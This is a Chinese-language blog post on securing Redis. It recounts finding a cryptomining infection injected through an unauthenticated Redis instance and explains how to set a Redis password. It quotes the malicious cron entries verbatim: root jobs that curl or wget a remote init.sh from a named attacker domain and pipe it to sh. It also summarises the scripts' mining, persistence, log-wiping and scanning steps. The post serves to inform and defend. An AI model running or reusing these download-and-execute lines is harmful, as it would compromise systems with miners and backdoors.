一文详解Redis为什么一定要设置密码原理

为什么redis要设置密码?

内网环境可以不设置密码,但是个人服务器,以及线上公网服务器就有必要设置密码了。

昨天我查看了一下minio的redis事件通知,查看redis的key时发现多了几个奇怪的key。backup1,backup2,backup3。然后我猜想应该是挖矿病毒。

如下面所示:这样就将定时任务和脚本注入到了我们机器当中,就会开始执行 init.sh 脚本

backup1 "\n\n\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n"
backup2 "\n\n\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n"
backup3 "\n\n\n*/4 * * * * root curl -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n"
backup4 "\n\n\n*/5 * * * * root wd1 -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n"

init.sh脚本内容是什么?

en2an.top/cleanfda/in…

我们查看这个key的value能得到它会去请求一个地址,我们打开看一下这个init.sh到底是什么东西。

如下图所示是个脚本文件。

这个脚本还挺多的,关闭selinux、杀掉别人的挖矿进程、杀掉CPU占用过高的进程,如果是自己就跳过、修改破坏系统命令、自己造一个下载器downloads()函数、解锁和加锁定时任务、添加挖矿技术任务、设置SSH免密登陆、下载执行矿机挖矿程序、关闭防火墙、清除日志、感染已知的免密机器、下载执行is.sh。

is.sh脚本内容是什么?

en2an.top/cleanfda/is…

如下图所示,上面的init.sh会下载我们的is.sh脚本。

我们看一下这个脚本是干什么。

如下图所示,这个脚本的内容也挺多的。下载masscan扫描器、下载pnscan扫描器、安装 redis 用于创建 redis 未授权访问的漏洞、执行 rs.sh。

rs.sh脚本内容是什么?

en2an.top/cleanfda/rs…

上面的连接可以查看这个脚本内容是什么。

开放 6379 端口、自动化利用redis未授权写入定时任务,利用 pnscan 扫描b段IP 6379 端口,利用 masscan 进行扫描端口。

Redis如何设置密码?

经过以上分析,就知道这个病毒主要是通过你的redis注入进去执行挖矿脚本。如果你的redis没有设置密码,而且暴露在公网上就要小心了。

可以通过以下两种方式对我们的redis进行设置密码。

方式一:修改我们的redis.conf配置文件

需要注意的是这种方式因为修改了配置文件, 需要重新启动我们的redis才能生效。

找到我们的redis.conf文件。

Windows如下图所示

我们编辑此文件,找到requirepass,放开注释,设置指定的值就,重启redis就生效了。

Linux的话,因为大家的安装方式可能不同,我这边是通过docker安装的,做了映射的。这里就不给大家演示了,找到自己安装在linux的redis目录找到redis.conf配置文件,跟windows一样的操作,配置完重启就Ok了。

方式二

连接我们的redis,然后通过指令的方式设置密码。

这种方式比较简单,而且不需要重启就生效。

下面的指令的意思就是把密码设置为123456,公网可不要设置这么简单阿。

config set requirepass 123456

我们查看一下我们的redis的密码。

config get requirepass

这样我们的密码就设置成功了,退出我们的redis客户端再次连接的时候就生效了。

总结

公网的redis一定要设置密码阿,不要不设置密码,设置密码就一个指令,非常容易,可不要偷懒噢。

作者:佳庆

%s 个评论

要回复文章请先登录注册